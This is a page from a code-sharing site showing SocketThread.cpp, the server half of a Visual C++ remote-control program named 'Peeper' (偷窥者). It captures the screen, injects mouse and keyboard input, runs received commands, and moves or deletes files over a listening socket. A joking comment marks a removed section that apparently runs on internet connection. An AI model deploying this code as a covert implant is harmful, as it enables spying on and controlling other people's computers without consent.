Code/Resource
Windows Develop
Linux-Unix program
Internet-Socket-Network
Web Server
Browser Client
Ftp Server
Ftp Client
Browser Plugins
Proxy Server
Email Server
Email Client
WEB Mail
Firewall-Security
Telnet Server
Telnet Client
ICQ-IM-Chat
Search Engine
Sniffer Package capture
Remote Control
xml-soap-webservice
P2P
WEB(ASP,PHP,...)
TCP/IP Stack
SNMP
Grid Computing
SilverLight
DNS
Cluster Service
Network Security
Communication-Mobile
Game Program
Editor
Multimedia program
Graph program
Compiler program
Compress-Decompress algrithms
Crypt_Decrypt algrithms
Mathimatics-Numerical algorithms
MultiLanguage
Disk/Storage
Java Develop
assembly language
Applications
Other systems
Database system
Embeded-SCM Develop
FlashMX/Flex
source in ebook
Delphi VCL
OS Develop
MiddleWare
MPI
MacOS develop
LabView
ELanguage
Software/Tools
E-Books
Artical/Document
SocketThread.cpp
Package: TOUKUI-1.5.zip [view]
Upload User: xztxsm
Upload Date: 2007-02-12
Package Size: 150k
Code Size: 17k
Category:
Remote Control
Development Platform:
Visual C++
- ///////////////////////////////////////////////////////////////////////////////
- // 远程控制软件-偷窥者 服务器端 //
- // 日期:2001/10/02 //
- // 作者:刘东发 //
- // Email:dongfa@yeah.net //
- // http://dongfa.yeah.net //
- // 作者声明: //
- // 此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题 //
- // 或者意见请来信,谢谢! //
- ///////////////////////////////////////////////////////////////////////////////
- #include "stdafx.h"
- #include "SocketThread.h"
- static CWinThread *g_pSendDIBThread = NULL;
- static CWinThread *g_pWaitCommandThread = NULL;
- static CWinThread *g_pSendInfoThread = NULL;
- static CString g_strAString = _T("");
- static int g_nAInt = 0;
- UINT SendInfoThread(LPVOID lParam)
- {
- BOOL bSend = FALSE;
- while(1)
- {
- BOOL bOk = ::PL_DetectInternetConnect();
- if(bOk)
- {
- TRACE("网络已连接......n");
- if(!bSend)
- {
- //此处删掉一些代码。。。。。。呵呵~~~~
- bSend = bOk;
- }
- }
- else
- {
- bSend = FALSE;
- }
- ::Sleep(10000);
- }
- return 0;
- }
- UINT WaitCommandThread(LPVOID lParam)
- {
- BYTE chFlag = (BYTE)lParam;
- switch(chFlag)
- {
- case PL_MSG:
- {
- if(g_strAString.GetLength() > 0)
- {
- ::MessageBox(NULL, g_strAString, _T("Warning!"),
- MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
- g_strAString = _T("");
- }
- }
- break ;
- case PL_FUNC_EXEC:
- {
- if(g_strAString.GetLength() > 0)
- {
- ::PL_ExecuteCommand(g_strAString.GetBuffer(0));
- g_strAString.ReleaseBuffer();
- g_strAString = _T("");
- }
- }
- break ;
- case PL_FUNC_FILE_COPY_S:
- {
- if(g_strAString.GetLength() > 0 && g_nAInt > 0)
- {
- ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
- g_strAString.ReleaseBuffer();
- g_strAString = _T("");
- g_nAInt = 0;
- }
- }
- break ;
- case PL_FUNC_FILE_COPY_C:
- {
- if(g_strAString.GetLength() > 0 && g_nAInt > 0)
- {
- ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
- g_strAString.ReleaseBuffer();
- g_strAString = _T("");
- g_nAInt = 0;
- }
- }
- break ;
- default :
- break ;
- }
- g_pWaitCommandThread = NULL;
- return 0;
- }
- UINT SendDIBThread(LPVOID lParam)
- {
- int nRet = -1;
- SOCKET s = (SOCKET)lParam;
- //wait client receive
- BYTE chData[20];
- ZeroMemory(chData, 20);
- nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
- if(nRet > 0)
- {
- HWND hDesktopWnd = ::GetDesktopWindow();
- HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
- HDIB hDib = NULL;
- PL_ColorType ctColor = *((PL_ColorType *)(chData));
- PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
- int nBits = 4;
- switch(ctColor)
- {
- case color_1:
- {
- nBits = 1;
- }
- break ;
- case color_4:
- {
- nBits = 4;
- }
- break ;
- case color_8:
- {
- nBits = 8;
- }
- break ;
- case color_24:
- {
- nBits = 24;
- }
- break ;
- default :
- {
- nBits = 4;
- }
- break ;
- }
- hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
- switch(ztZip)
- {
- case zip_none:
- {
- ;
- }
- break ;
- case zip_lz77:
- {
- HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
- ::GlobalFree(hDib);
- hDib = hZipDib;
- }
- break ;
- case zip_lzw:
- {
- HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
- ::GlobalFree(hDib);
- hDib = hZipDib;
- }
- break ;
- case zip_jpeg:
- {
- }
- break ;
- case zip_lzss:
- {
- HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
- ::GlobalFree(hDib);
- hDib = hZipDib;
- }
- break ;
- case zip_ari:
- {
- HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
- ::GlobalFree(hDib);
- hDib = hZipDib;
- }
- break ;
- default :
- break ;
- }
- //send start
- SIZE sz = ::PL_GetScreenSize();
- int nSize = GlobalSize(hDib);
- memcpy(chData, &nSize, sizeof(int));
- int cx = sz.cx;
- int cy = sz.cy;
- memcpy(chData+sizeof(int), &cx, sizeof(int));
- memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
- nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
- //send bits
- LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
- for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
- {
- nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)),
- PL_SOCKET_MAXBYTES);
- }
- int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
- nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
- GlobalUnlock(hDib);
- ::DeleteObject(hBmp);
- GlobalFree(hDib);
- }
- g_pSendDIBThread = NULL;
- return 0;
- }
- CSocketThread::CSocketThread(UINT uPort)
- {
- m_uPort = uPort;
- m_sckClient[0] = INVALID_SOCKET;
- m_sckClient[1] = INVALID_SOCKET;
- m_sckServer = INVALID_SOCKET;
- m_nBits = 4;
- }
- CSocketThread::~CSocketThread()
- {
- if(g_pSendInfoThread != NULL)
- {
- ::TerminateThread(g_pSendInfoThread->m_hThread, 0);
- ::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
- g_pSendInfoThread = NULL;
- }
- ::PL_TermSocket();
- ExitServer();
- }
- int CSocketThread::Run()
- {
- g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
- while(1)
- {
- if(CreateServer())
- {
- BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
- while(1)
- {
- ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
- int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
- if(nRet != SOCKET_ERROR)
- {
- // 处理命令
- nRet = DoReceive(chData, nRet);
- }
- else
- {
- TRACE(_T("接收数据错误,客户已经断开了......n"));
- break ;
- }
- }
- delete []chData;
- chData = NULL;
- }
- ExitServer();
- }
- return ExitInstance();
- }
- int CSocketThread::DoReceive(BYTE *chData, int nLen)
- {
- int nRet = 0;
- switch(chData[0])//第一个字符为命令
- {
- case PL_PEEPER_VER://取服务端版本
- {
- char chTemp[15];
- ZeroMemory(chTemp, 15);
- sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
- ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp),
- PL_PEEPER_VER);
- }
- break ;
- case PL_CLOSE_PEEPER://关闭服务,退出程序
- {
- ExitServer();
- ExitThread(0);
- }
- break ;
- case PL_CLIENT_CLOSE://关闭连接
- {
- ExitServer();
- }
- break ;
- case PL_MSG://显示一个对话框信息,使用了线程
- {
- g_strAString.Format(_T("%s"), chData+1);
- if(g_pWaitCommandThread != NULL)
- {
- ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
- ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
- g_pWaitCommandThread = NULL;
- }
- g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
- }
- break ;
- case PL_DIB://获得桌面图像
- {
- if(g_pSendDIBThread != NULL)
- {
- ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
- ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
- g_pSendDIBThread = NULL;
- }
- g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
- }
- break ;
- case PL_DIB_BITS://桌面图像颜色数
- {
- m_nBits = *((int*)(chData+1));
- }
- break ;
- case PL_SCREEN_SIZE://显示器分辨率
- {
- int cx = ::GetSystemMetrics(SM_CXSCREEN);
- int cy = ::GetSystemMetrics(SM_CYSCREEN);
- BYTE chTemp[15];
- ZeroMemory(chTemp, 15);
- memcpy(chTemp, &cx, sizeof(int));
- memcpy(chTemp + sizeof(int), &cy, sizeof(int));
- ::PL_SendSocketData(m_sckClient[0], chTemp, sizeof(int)*2);
- }
- case PL_MOUSE_MOVE://鼠标移动
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- ::PL_MouseMove(point);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_LBUTTONDOWN://鼠标左键按下
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseLButtonDown(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_LBUTTONUP://鼠标左键弹起
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseLButtonUp(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_RBUTTONDOWN://鼠标右键按下
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseRButtonDown(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_RBUTTONUP://鼠标右键弹起
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseRButtonUp(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_LDBLCLK://鼠标左键双击
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseLButtonDblClk(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_MOUSE_RDBLCLK://鼠标右键双击
- {
- POINT point;
- point.x = *((int *)(chData+1));
- point.y = *((int *)(chData+1+sizeof(int)));
- BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
- bMouseMove = !!bMouseMove;
- ::PL_MouseRButtonDblClk(point, bMouseMove);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_KEY_DOWN://一个键被按下
- {
- UINT uChar = *((UINT *)(chData+1));
- UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
- ::PL_KeyDown(uChar, uFlag);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_KEY_UP://一个键被弹起
- {
- UINT uChar = *((UINT *)(chData+1));
- UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
- ::PL_KeyUp(uChar, uFlag);
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- }
- break ;
- case PL_FUNC_EXEC://执行一条命令,使用了线程
- {
- g_strAString.Format(_T("%s"), chData+1);
- if(g_pWaitCommandThread != NULL)
- {
- ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
- ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
- g_pWaitCommandThread = NULL;
- }
- g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_FUNC_EXEC);
- }
- break ;
- case PL_FUNC_LOCK://锁定桌面
- {
- BOOL bLock = *((BOOL*)(chData+1));
- ::PL_LockDesktop(!!bLock);
- }
- break ;
- case PL_FUNC_EXITWIN://关机/重启/注销
- {
- UINT uFlag = *((UINT *)(chData+1));
- ::PL_ExitWindow(uFlag);
- }
- break ;
- case PL_FUNC_CTRL_ALT_DEL://热启动,暂且不行
- {
- ::PL_Send_CtrlAltDel();
- }
- break ;
- case PL_FUNC_FILE_COPY_S://传送文件
- {
- char chFile[255];
- ZeroMemory(chFile, 255);
- sprintf(chFile, "%s", chData+1);
- BYTE chTemp[10];
- ZeroMemory(chTemp, 10);
- int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
- if(nRet > 0)
- {
- nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- g_nAInt = *((int*)(chTemp));
- g_strAString.Format(_T("%s"), chFile);
- if(g_pWaitCommandThread != NULL)
- {
- ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
- ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
- g_pWaitCommandThread = NULL;
- }
- g_pWaitCommandThread = AfxBeginThread(WaitCommandThread,
- (LPVOID)PL_FUNC_FILE_COPY_S);
- }
- }
- break ;
- case PL_FUNC_FILE_COPY_C:
- {
- char chFile[255];
- ZeroMemory(chFile, 255);
- sprintf(chFile, "%s", chData+1);
- BYTE chTemp[10];
- ZeroMemory(chTemp, 10);
- int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
- if(nRet > 0)
- {
- nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
- g_nAInt = *((int*)(chTemp));
- g_strAString.Format(_T("%s"), chFile);
- if(g_pWaitCommandThread != NULL)
- {
- ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
- ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
- g_pWaitCommandThread = NULL;
- }
- g_pWaitCommandThread = AfxBeginThread(WaitCommandThread,
- (LPVOID)PL_FUNC_FILE_COPY_C);
- }
- }
- break ;
- case PL_FUNC_FILE_DELETE:
- {
- char chFile[255];
- ZeroMemory(chFile, 255);
- sprintf(chFile, "%s", chData+1);
- BOOL bRet = ::PL_DeleteFile(chFile);
- ZeroMemory(chFile, 255);
- memcpy(chFile, &bRet, sizeof(BOOL));
- ::PL_SendSocketData(m_sckClient[0], (BYTE*)chFile, sizeof(BOOL), PL_RETURN_BOOL);
- }
- break ;
- case PL_FUNC_FILE_MOVE:
- {
- char chSrcFile[255];
- ZeroMemory(chSrcFile, 255);
- sprintf(chSrcFile, "%s", chData+1);
- char chDesFile[255];
- ZeroMemory(chDesFile, 255);
- nRet = ::PL_ReadSocketData(m_sckClient[0], (BYTE*)chDesFile, 255, NULL);
- if(nRet > 0)
- {
- BOOL bRet = ::PL_MoveFile(chSrcFile, chDesFile);
- ZeroMemory(chSrcFile, 255);
- memcpy(chSrcFile, &bRet, sizeof(BOOL));
- ::PL_SendSocketData(m_sckClient[0], (BYTE*)chSrcFile,
- sizeof(BOOL), PL_RETURN_BOOL);
- }
- }
- break ;
- default :
- break ;
- }
- return nRet;
- }
- BOOL CSocketThread::CreateServer()
- {
- BOOL bRet = FALSE;
- bRet = ::PL_InitSocket();
- if(!bRet)
- {
- return bRet;
- }
- char chName[256];
- sockaddr_in addr;
- hostent* pEnt = NULL;
- int addrlen = 0, nRet = 0;
- nRet = ::gethostname(chName, 256);
- if(nRet == 0)
- {
- m_sckServer = socket(AF_INET, SOCK_STREAM, 0);
- if(m_sckServer != INVALID_SOCKET)
- {
- pEnt = ::gethostbyname(chName);
- if(pEnt)
- {
- addr.sin_family = AF_INET;
- addr.sin_port = htons(m_uPort);
- addr.sin_addr.s_addr = INADDR_ANY;
- nRet = ::bind(m_sckServer, (sockaddr*)&addr, sizeof(addr));
- if(nRet != SOCKET_ERROR)
- {
- nRet = ::listen(m_sckServer, SOMAXCONN);
- if(nRet != SOCKET_ERROR)
- {
- addrlen = sizeof(addr);
- TRACE(_T("开始了服务,等待客户......n"));
- m_sckClient[0] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
- if(m_sckClient[0] != INVALID_SOCKET)
- {
- //为了同步
- ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP, MSG_OOB);
- }
- m_sckClient[1] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
- if(m_sckClient[0] != INVALID_SOCKET &&
- m_sckClient[1] != INVALID_SOCKET)
- {
- TRACE(_T("客户连接上了.......n"));
- char chTemp[256];
- ZeroMemory(chTemp, 256);
- sockaddr_in name1;
- sockaddr_in name2;
- int nSize = sizeof(sockaddr_in);
- int nRet1 = ::getpeername(m_sckClient[0], (sockaddr*)&name1, &nSize);
- int nRet2 = ::getpeername(m_sckClient[1], (sockaddr*)&name2, &nSize);
- if(nRet1 == 0 && nRet2 == 0)
- {
- sprintf(chTemp, "Connect is OK.rnServer Computer Name:%s,IP:%d.%d.%d.%d,Port:%d.rnClient[0]:IP=%d.%d.%d.%d Port=%d.rnClient[1]:IP=%d.%d.%d.%d Port=%d.",
- chName,
- (unsigned char)(pEnt->h_addr_list[0][0]),
- (unsigned char)(pEnt->h_addr_list[0][1]),
- (unsigned char)(pEnt->h_addr_list[0][2]),
- (unsigned char)(pEnt->h_addr_list[0][3]),
- m_uPort,
- name1.sin_addr.S_un.S_un_b.s_b1,
- name1.sin_addr.S_un.S_un_b.s_b2,
- name1.sin_addr.S_un.S_un_b.s_b3,
- name1.sin_addr.S_un.S_un_b.s_b4,
- name1.sin_port,
- name2.sin_addr.S_un.S_un_b.s_b1,
- name2.sin_addr.S_un.S_un_b.s_b2,
- name2.sin_addr.S_un.S_un_b.s_b3,
- name2.sin_addr.S_un.S_un_b.s_b4,
- name2.sin_port);
- }
- else
- {
- strcpy(chTemp, "Connect is OK.");
- }
- nRet = ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp)+1, MSG_OOB);
- bRet = TRUE;
- }
- }
- }
- }
- }
- }
- return bRet;
- }
- BOOL CSocketThread::ExitServer()
- {
- TRACE(_T("退出服务,重新等待连接......n"));
- if(g_pSendDIBThread != NULL)
- {
- ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
- ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
- g_pSendDIBThread = NULL;
- }
- if(g_pWaitCommandThread != NULL)
- {
- ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
- ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
- g_pWaitCommandThread = NULL;
- }
- if(m_sckClient[0] != INVALID_SOCKET)
- {
- ::closesocket(m_sckClient[0]);
- }
- if(m_sckClient[1] != INVALID_SOCKET)
- {
- ::closesocket(m_sckClient[1]);
- }
- if(m_sckServer != INVALID_SOCKET)
- {
- ::closesocket(m_sckServer);
- }
- m_sckClient[0] = INVALID_SOCKET;
- m_sckClient[1] = INVALID_SOCKET;
- m_sckServer = INVALID_SOCKET;
- return TRUE;
- }